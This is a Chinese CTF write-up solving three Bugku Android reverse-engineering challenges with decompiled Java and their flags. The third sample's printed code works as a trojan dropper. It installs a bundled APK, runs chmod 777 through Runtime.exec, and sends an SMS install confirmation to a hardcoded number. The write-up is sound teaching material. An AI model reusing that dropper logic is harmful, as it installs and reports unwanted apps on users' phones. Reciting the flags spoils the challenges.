最近,开始记录一篇关于 Android 逆向分析的 WriteUp 方便有需要的人学习，也欢迎大家相互交流, 发现不

一样的世界。

一、 signin

考点：反编译、静态分析

Topic Link：https://ctf.bugku.com/files/109fa055c682e810684427c123a0833b/sign_in.zip

signin 软件介绍：

1. 开始界面

2. 当输入的字符串有误时，会显示：Try again.

题目分析：

1. 刚开始直接使用了 Android killer工具进行反编译，但是不能够查看Java源码 (有点不够意思，有时候Android killer自动化工具并不好用)，但是这并不能阻挡我们查看想要的Java源码 (dex2jar-2.0工具的利用)

2. 先将该APK解压，提取class.dex到dex2jar-2.0的目录下，操作class.dex文件得到对应的.jar文件

3. 利用jd-gui-1.4.0.jar工具打开步骤2中的.jar文件

4. 提取我们想要的Java源代码

package re.sdnisc2018.sdnisc_apk1;

import android.content.Context;

import android.os.Bundle;

import android.support.v7.app.AppCompatActivity;

import android.util.Base64;

import android.view.View;

import android.view.View.OnClickListener;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

public class MainActivity

  extends AppCompatActivity

{

  private String getFlag()

  {

    return getBaseContext().getString(2131427360);

  }

  private void showMsgToast(String paramString)

  {

    Toast.makeText(this, paramString, 1).show();

  }

  public void checkPassword(String paramString)

  {

    if (paramString.equals(new String(Base64.decode(new StringBuffer(getFlag()).reverse().toString(), 0))))

    {

      showMsgToast("Congratulations !");

      return;

    }

    showMsgToast("Try again.");

  }

  protected void onCreate(Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    setContentView(2131296283);

    ((Button)findViewById(2131165261)).setOnClickListener(new View.OnClickListener()

    {

      public void onClick(View paramAnonymousView)

      {

        paramAnonymousView = ((EditText)MainActivity.this.findViewById(2131165253)).getText().toString();

        MainActivity.this.checkPassword(paramAnonymousView);

      }

    });

  }

}

分析代码可知：

1. 在 checkPassword()函数中，判断用户的输入是否正确，与用户相匹配的字符串是经过getFlag()函数返回的值处理之后的。

2. 将目标定位到getFlag()函数中，获取其返回值。

分析getFlag()函数代码片段：

return getBaseContext().getString(2131427360);

函数的返回值和 “2131427360” 有关，该字符串为资源ID，一般存储在R.java文件中，ID对应的资源一般存储在strings.xml文件中。

4. 在R.java文件中，查找资源ID

根据资源ID对应的变量名“toString”在strings.xml文件中找到对应的值

5. 将字符串“991YiZWOz81ZhFjZfJXdwk3X1k2XzIXZIt3ZhxmZ”进行反转(reverse()函数影响)，然后进行base64解密

6. 测试输入正确字符串

get flag:

flag{Her3_i5_y0ur_f1ag_39fbc_}

二、mobile1(gctf)

考点：反编译、静态分析

Topic Link：https://ctf.bugku.com/files/7c43d693909d6dbfd7ad7d5a0866548b/gctf_mobile1.apk

mobile1(gctf) 软件介绍：

1. 开始界面

2. 当输入的字符串有误时，会显示：错误!

题目分析：

1. 先将该APK解压，提取class.dex到dex2jar-2.0的目录下，操作class.dex文件得到对应的.jar文件

2. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件

3. 提取主要的Java源代码

package com.example.crackme;

import android.app.Activity;

import android.os.Bundle;

import android.view.Menu;

import android.view.MenuInflater;

import android.view.View;

import android.view.View.OnClickListener;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

import java.security.MessageDigest;

import java.security.NoSuchAlgorithmException;

public class MainActivity

  extends Activity

{

  private Button btn_register;

  private EditText edit_sn;

  String edit_userName;

  private boolean checkSN(String paramString1, String paramString2)

  {

    if (paramString1 != null) {

      try

      {

        if (paramString1.length() == 0) {

          return false;

        }

        if ((paramString2 != null) && (paramString2.length() == 22))

        {

          Object localObject = MessageDigest.getInstance("MD5");

          ((MessageDigest)localObject).reset();

          ((MessageDigest)localObject).update(paramString1.getBytes());

          paramString1 = toHexString(((MessageDigest)localObject).digest(), "");

          localObject = new StringBuilder();

          int i = 0;

          while (i < paramString1.length())

          {

            ((StringBuilder)localObject).append(paramString1.charAt(i));

            i += 2;

          }

          paramString1 = ((StringBuilder)localObject).toString();

          boolean bool = ("flag{" + paramString1 + "}").equalsIgnoreCase(paramString2);

          if (bool) {

            return true;

          }

        }

      }

      catch (NoSuchAlgorithmException paramString1)

      {

        paramString1.printStackTrace();

      }

    }

    return false;

  }

  private static String toHexString(byte[] paramArrayOfByte, String paramString)

  {

    StringBuilder localStringBuilder = new StringBuilder();

    int j = paramArrayOfByte.length;

    int i = 0;

    while (i < j)

    {

      String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);

      if (str.length() == 1) {

        localStringBuilder.append('0');

      }

      localStringBuilder.append(str).append(paramString);

      i += 1;

    }

    return localStringBuilder.toString();

  }

  public void onCreate(Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    setContentView(2130968601);

    setTitle(2131099677);

    this.edit_userName = "Tenshine";

    this.edit_sn = ((EditText)findViewById(2131492945));

    this.btn_register = ((Button)findViewById(2131492946));

    this.btn_register.setOnClickListener(new View.OnClickListener()

    {

      public void onClick(View paramAnonymousView)

      {

        if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))

        {

          Toast.makeText(MainActivity.this, 2131099678, 0).show();

          return;

        }

        Toast.makeText(MainActivity.this, 2131099675, 0).show();

        MainActivity.this.btn_register.setEnabled(false);

        MainActivity.this.setTitle(2131099673);

      }

    });

  }

  public boolean onCreateOptionsMenu(Menu paramMenu)

  {

    getMenuInflater().inflate(2131558400, paramMenu);

    return true;

  }

}

分析代码可知：

1. 将主要目光定在checkSN()函数上，分析该函数发现，需要满足几个条件：

　　1. 第一个参数paramString1 !=null&字符串长度 !=0

　　2. 第二个参数paramString2 !=null&字符串长度 ==22

　　3. 将第一个参数paramString1 经过MD5加密之后，取其偶数位组成字符串(16位)

　　4. 第三步里面产生的字符串与 “flag{}”组合(16+6=22)要与参数paramString2相等

2. 有上一步的分析可知，需要查看参数paramString1和参数paramString2的赋值情况，搜索谁调用了checkSN()函数，搜索之后将目标定在onCreate()函数上

public void onCreate(Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    setContentView(2130968601);

    setTitle(2131099677);

    this.edit_userName = "Tenshine";

    this.edit_sn = ((EditText)findViewById(2131492945));

    this.btn_register = ((Button)findViewById(2131492946));

    this.btn_register.setOnClickListener(new View.OnClickListener()

    {

      public void onClick(View paramAnonymousView)

      {

        if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))

        {

          Toast.makeText(MainActivity.this, 2131099678, 0).show();

          return;

        }

        Toast.makeText(MainActivity.this, 2131099675, 0).show();

        MainActivity.this.btn_register.setEnabled(false);

        MainActivity.this.setTitle(2131099673);

      }

    });

  }

分析该函数可知：

　　1. paramString1="Tenshine"

　　2. paramString2="用户输入的字符串"

3. 既然知道了参数paramString1的值，直接将paramString1进行MD5加密，取其偶数位，与"flag{}"进行组合得到最终FLAG

md5(Tenshine,32) = b9c77224ff234f27ac6badf83b855c76

FLAG：flag{bc72f242a6af3857}

4. 测试输入正确字符串

get flag:

flag{bc72f242a6af3857}

三、mobile2(gctf)

考点：反编译、静态分析、脑洞

Topic Link：https://ctf.bugku.com/files/d1a2520c55a335d83646ce8a724dbebb/eb1fd250-7c32-418c-b287-1b00dcc53852.zip

题目分析

1. 下载下来的是zip格式的文件，不过和APK一样，于是将其后缀改为.apk，可是却不能成功安装，只有先反编译查看源码 *_*

2. 先将该压缩包解压，提取class.dex到dex2jar-2.0的目录下，操作class.dex文件得到对应的.jar文件

3. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件

4. 提取主要的Java源代码

package com.example.mmsheniq;

import android.annotation.SuppressLint;

import android.app.AlertDialog.Builder;

import android.content.BroadcastReceiver;

import android.content.ComponentName;

import android.content.Context;

import android.content.DialogInterface;

import android.content.DialogInterface.OnClickListener;

import android.content.Intent;

import android.content.IntentFilter;

import android.content.pm.PackageInfo;

import android.content.pm.PackageManager;

import android.content.res.AssetManager;

import android.net.ConnectivityManager;

import android.net.NetworkInfo;

import android.net.Uri;

import android.os.Bundle;

import android.support.v7.app.ActionBarActivity;

import android.telephony.SmsManager;

import android.text.Editable;

import android.view.View;

import android.view.View.OnClickListener;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

import java.io.File;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.PrintStream;

import java.util.ArrayList;

import java.util.List;

@SuppressLint({"DefaultLocale"})

public class MainActivity

  extends ActionBarActivity

{

  Button button1;

  Button button2;

  ArrayList<String> packagNameList;

  EditText pass;

  private MyReceiver receiver;

  private boolean detectApk(String paramString)

  {

    return this.packagNameList.contains(paramString.toLowerCase());

  }

  private boolean goToNetWork()

  {

    ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");

    if (localConnectivityManager.getNetworkInfo(1).getState() != null) {}

    while (localConnectivityManager.getNetworkInfo(0).getState() != null) {

      return true;

    }

    return false;

  }

  private void initpackagNameList()

  {

    this.packagNameList = new ArrayList();

    List localList = getPackageManager().getInstalledPackages(0);

    int i = 0;

    for (;;)

    {

      if (i >= localList.size()) {

        return;

      }

      PackageInfo localPackageInfo = (PackageInfo)localList.get(i);

      this.packagNameList.add(localPackageInfo.packageName.toLowerCase());

      i += 1;

    }

  }

  protected void onCreate(Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    requestWindowFeature(1);

    setContentView(2130903064);

    initpackagNameList();

    System.out.println("host��������==============================");

    this.receiver = new MyReceiver(null);

    paramBundle = new IntentFilter("android.intent.action.PACKAGE_ADDED");

    paramBundle.addDataScheme("package");

    registerReceiver(this.receiver, paramBundle);

    if (!detectApk("com.example.com.android.trogoogle"))

    {

      System.out.println("host��������==============================");

      paramBundle = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";

      retrieveApkFromAssets(this, "com.android.Trogoogle.apk", paramBundle);

      showInstallConfirmDialog(this, paramBundle);

    }

    this.pass = ((EditText)findViewById(2131034176));

    this.button1 = ((Button)findViewById(2131034177));

    this.button1.setOnClickListener(new View.OnClickListener()

    {

      public void onClick(View paramAnonymousView)

      {

        if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))

        {

          paramAnonymousView = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";

          MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", paramAnonymousView);

          MainActivity.this.showInstallConfirmDialog(MainActivity.this, paramAnonymousView);

          return;

        }

        if (!MainActivity.this.goToNetWork())

        {

          Toast.makeText(MainActivity.this, "��������������������������", 0).show();

          return;

        }

        if (MainActivity.this.pass.getText().toString().length() >= 6)

        {

          Toast.makeText(MainActivity.this, "����������������...", 0).show();

          Toast.makeText(MainActivity.this, "����������������������", 0).show();

          return;

        }

        Toast.makeText(MainActivity.this, "����������������������", 0).show();

      }

    });

    this.button2 = ((Button)findViewById(2131034178));

    this.button2.setOnClickListener(new View.OnClickListener()

    {

      public void onClick(View paramAnonymousView)

      {

        MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));

      }

    });

  }

  public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)

  {

    bool = false;

    try

    {

      paramString2 = new File(paramString2);

      if (paramString2.exists()) {

        return true;

      }

      paramString2.createNewFile();

      paramString1 = paramContext.getAssets().open(paramString1);

      paramString2 = new FileOutputStream(paramString2);

      byte[] arrayOfByte = new byte['?'];

      for (;;)

      {

        int i = paramString1.read(arrayOfByte);

        if (i == -1)

        {

          paramString2.flush();

          paramString2.close();

          paramString1.close();

          bool = true;

          break;

        }

        paramString2.write(arrayOfByte, 0, i);

      }

      return bool;

    }

    catch (IOException paramString1)

    {

      Toast.makeText(paramContext, paramString1.getMessage(), 2000).show();

      paramContext = new AlertDialog.Builder(paramContext);

      paramContext.setMessage(paramString1.getMessage());

      paramContext.show();

      paramString1.printStackTrace();

    }

  }

  public void showInstallConfirmDialog(final Context paramContext, final String paramString)

  {

    AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);

    localBuilder.setIcon(2130837592);

    localBuilder.setTitle("������������");

    localBuilder.setMessage("������������������������������APK��������������������");

    localBuilder.setPositiveButton("����", new DialogInterface.OnClickListener()

    {

      public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)

      {

        try

        {

          paramAnonymousDialogInterface = "chmod 777 " + paramString;

          Runtime.getRuntime().exec(paramAnonymousDialogInterface);

          paramAnonymousDialogInterface = new Intent("android.intent.action.VIEW");

          paramAnonymousDialogInterface.addFlags(268435456);

          paramAnonymousDialogInterface.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");

          paramContext.startActivity(paramAnonymousDialogInterface);

          return;

        }

        catch (IOException paramAnonymousDialogInterface)

        {

          for (;;)

          {

            paramAnonymousDialogInterface.printStackTrace();

          }

        }

      }

    });

    localBuilder.show();

  }

  private class MyReceiver

    extends BroadcastReceiver

  {

    private MyReceiver() {}

    public void onReceive(Context paramContext, Intent paramIntent)

    {

      System.out.println("MyReceiver ��������==========================");

      if (paramIntent.getAction().equals("android.intent.action.PACKAGE_ADDED"))

      {

        paramContext.startActivity(new Intent(paramContext, MainActivity.class));

        System.out.println("  ������ Ok!==============================");

        paramIntent = new Intent("android.intent.action.MAIN");

        paramIntent.addFlags(268435456);

        paramIntent.addCategory("android.intent.category.LAUNCHER");

        paramIntent.setComponent(new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity"));

        paramContext.startActivity(paramIntent);

        System.out.println("  ���� Ok!==============================");

        SmsManager.getDefault().sendTextMessage("15918661173", null, " Tro instanll Ok", null, null);

        System.out.println("  �������� Ok!==============================");

      }

    }

  }

}

5. 分析代码并没有找到什么关于flag的线索，同时软件也不能运行，发现毫无提示，于是猜测flag可能藏在某个文件中，其中可疑的文件主要有strings.xml、AndroidManifest.xml，用工具010 Editor打开进行搜索，发现flag存在于AndroidManifest.xml中

get flag:

flag{8d6efd232c63b7d2}

update + ing

BugkuCTF~Mobile~WriteUp的更多相关文章

  1. BugkuCTF~Misc~WriteUp

    1.签到 get flag: Qftm{You should sign in} 2.这是一张单纯的图片 查看图片十六进制 提去特殊字符串进行解码 get flag: key{you are right ...

  2. BugkuCTF~代码审计~WriteUp

    第一题:extract变量覆盖 知识简介 extract()函数语法: extract(array,extract_rules,prefix) 参数 描述 array必需. 规定要使用的数组. ext ...

  3. 南京邮电大学//bugkuCTF部分writeup

    WEB 1.签到题 nctf{flag_admiaanaaaaaaaaaaa} 右键查看源代码或按f12即可. 2.这题不是web nctf{photo_can_also_hid3_msg} 下载图片 ...

  4. 0ctf – mobile – boomshakalaka writeup

    作为一个web狗,一道web都没做出来Orz...做出来一道apk,纪念一下在ctf中做出的第一道apk... 首先在模拟器或者真机中安装一下apk看到是一个cocos2dx的打飞机游戏 根据题目提示 ...

  5. BugkuCTF ---游戏过关 writeup

    下载程序后发现是输入1-8数字中的一位 至于怎么玩,我到现在都没弄懂 不多说,直接拖入Ollydbg 搜索 分析了一下字符串,发现有一个显示flag的字符串 双击过去看看,发现类似于一个函数. 接下来 ...

  6. ISCC 2018 Writeup

    题解部分:Misc(除misc500).Web(除Only Admin.Only admin can see flag.有种你来绕.试试看).Reverse.Pwn.Mobile Misc( Auth ...

  7. UWP开发之Mvvmlight实践七：如何查找设备（Mobile模拟器、实体手机、PC）中应用的Log等文件

    在开发中或者后期测试乃至最后交付使用的时候,如果应用出问题了我们一般的做法就是查看Log文件.上章也提到了查看Log文件,这章重点讲解下如何查看Log文件?如何找到我们需要的Packages安装包目录 ...

  8. ipad&mobile通用webapp框架前哨战

    响应式设计的意义 随着移动设备的发展,移动设备以迅猛的势头分刮着PC的占有率,ipad或者android pad的市场占有率稳步提升,所以我们的程序需要在ipad上很好的运行,对于公司来说有以下负担: ...

  9. jQuery Mobile入门

    转:http://www.cnblogs.com/linjiqin/archive/2011/07/17/2108896.html 简介:jQuery Mobile框架可以轻松的帮助我们实现非常好看的 ...

随机推荐

  1. 架构之微服务(etcd)

    1. ETCD是什么 ETCD是用于共享配置和服务发现的分布式,一致性的KV存储系统.该项目目前最新稳定版本为2.3.0. 具体信息请参考[项目首页]和[Github].ETCD是CoreOS公司发起 ...

  2. Nginx 的安装与配置

    一.下载 Linux:CentOS 7.3 64位 Nginx:nginx-1.13.1 安装目录:/usr/local/ wget http://nginx.org/download/nginx-1 ...

  3. flask完成文件上传功能

    在使用flask定义路由完成文件上传时,定义upload视图函数 from flask import Flask, render_template from werkzeug.utils import ...

  4. Python_字符串之删除空白字符或某字符或字符串

    ''' strip().rstrip().lstrip()分别用来删除两端.右端.左端.连续的空白字符或字符集 ''' s='abc ' s2=s.strip() #删除空白字符 print(s2) ...

  5. 网络营销行业十大看了就想吐的“滥词”

    网络营销行业在国内的互联网界已"猖獗"数年之久,它是一个让企业爱让用户恨的行业.有互联网的地方,就有网络营销的机会,有了机会就有了相关产业的存在,只不过是业大业小的问题.但是随着互 ...

  6. socket编程中客户端常用函数

    1 常用函数 1.1   connect() int connect(int sockfd, const struct sockaddr *servaddr, socklen_taddrlen); 客 ...

  7. Tiny4412模式跳转

    ARM体系的CPU有以下7种工作模式: 1.用户模式(Usr):用于正常执行程序: 2.快速中断模式(FIQ):用于高速数据传输: 3.外部中断模式(IRQ):用于通常的中断处理: 4.管理模式(sv ...

  8. Unable to find remote helper for 'https'

    出现这个报错,说明git目前的状态是正常的,要么没装好,要么自己解决压缩安装导致没有权限 第三次情况是,使用yum install git 重新安装后,仍然报错,是因为环境变量中GIT_HOM配置的仍 ...

  9. npm install 遇到问题的解决

    在利用npm install 命令时,要以管理员权限运行CMD,然后进入到npm-modules目录,然后再执行install命令

  10. 借助HTML中的特殊符号在markdown中打印出来

    转自:https://blog.csdn.net/html5_/article/details/21639475 HTML中的特殊符号 原创 2014年03月20日 18:35:23 标签: HTML ...